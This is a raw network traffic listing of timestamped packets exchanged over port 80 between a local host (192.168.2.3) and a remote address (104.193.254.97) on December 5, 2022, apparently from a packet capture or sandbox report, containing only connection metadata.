Dec 5, 2022 06:44:45.954302073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954328060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954334974 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954355001 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954375029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954400063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954426050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954427004 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954446077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954459906 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954471111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954478025 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954499006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954519033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954546928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954555035 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954572916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954591990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954616070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954628944 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954643965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954663992 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954680920 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954689026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954700947 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954715967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954735041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954746008 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954761028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954763889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954787970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954808950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954829931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954834938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954850912 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954863071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954895020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954920053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954924107 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954946041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954966068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.954976082 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.954992056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955015898 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.955018997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955039024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955065012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955069065 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.955091953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955111027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955121994 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.955138922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955157042 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.955164909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955183029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955209017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955234051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955236912 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.955255032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.955277920 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.955296040 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.030591011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.030658960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.030673981 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.030695915 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.030724049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.163036108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163105965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163141012 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163198948 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.163718939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163763046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163794041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163836956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163840055 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.163877964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163898945 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.163909912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163933039 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.163952112 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.163994074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164025068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164046049 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.164066076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164107084 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164138079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164160013 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.164177895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164220095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164248943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164272070 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.164293051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164334059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164362907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.164385080 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.191772938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.191837072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.191864967 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.191869020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.191909075 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.191910982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.191955090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.191988945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.192012072 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.192033052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.192075014 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.192105055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.192135096 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.200320005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200383902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200418949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200453997 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.200462103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200505018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200535059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200562000 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.200576067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200618029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200648069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200665951 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.200665951 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.200690031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200731993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200757027 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.200762033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200790882 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.200930119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200973034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.200997114 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.201004982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201041937 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.201047897 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201088905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201109886 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.201119900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201143026 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.201255083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201298952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201332092 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.201339960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201348066 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.201381922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201423883 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201452971 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201482058 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.201683044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201725960 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201744080 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.201756954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.201781034 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.202009916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.202161074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.202265024 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.202560902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.202907085 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.264313936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.264379025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.265043020 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.382673025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.382738113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.382776022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.382823944 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.383547068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.383625031 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.383675098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.383701086 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.383742094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.383811951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.383869886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.383950949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.383951902 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.384001017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.384007931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.384074926 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.384144068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.384187937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.384243965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.384248972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.384310007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.384377956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.384433985 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.409243107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.409297943 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.409323931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.409347057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.409368038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.409385920 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.409427881 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.409451008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.409473896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.409491062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.409521103 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.417596102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.417660952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.417696953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.417745113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.417767048 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.417793036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.417825937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.417869091 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.417876959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.417901039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.417988062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418040037 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.418140888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418271065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418318033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418323994 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.418555975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418611050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.418731928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418780088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418787003 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.418826103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418837070 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.418863058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418919086 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.418922901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418953896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418972969 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.418976068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.418994904 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419006109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419039965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419060946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419086933 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419089079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419117928 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419146061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419164896 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419188023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419231892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419234991 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419261932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419301033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419308901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419347048 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419368029 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419378996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419401884 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419424057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419469118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419471025 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419495106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419523954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419553041 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419553995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419572115 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419578075 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419605970 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419620037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419665098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419667959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419709921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419745922 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419754982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419768095 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419801950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419810057 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419846058 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.419857025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419893026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.419898987 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.461930990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.462012053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.462054968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.462081909 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.462111950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.462807894 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.545272112 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.545331955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.545366049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.545382023 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.545430899 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.546472073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546525002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546550989 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.546556950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546565056 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.546598911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546641111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546649933 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.546672106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546688080 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.546715021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546758890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546789885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546812057 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.546830893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546871901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546900034 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.546945095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.546996117 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.547009945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.547055006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.547056913 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.547087908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.547100067 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.547130108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.547172070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.547203064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.547219038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.547244072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.547286034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.547287941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.547318935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.547364950 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.572638988 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.572707891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.572742939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.572757959 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.572758913 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.572791100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.572837114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.572870970 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.572890997 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.572913885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.572957039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.572987080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.573009968 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.573029041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.573071003 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.573076963 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.573101044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.573148012 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.580221891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580316067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580373049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580383062 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.580446005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580498934 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.580516100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580564976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580625057 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.580635071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580701113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580745935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580759048 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:46.580811024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:46.580866098 CET	49705	80	192.168.2.3	104.193.254.97
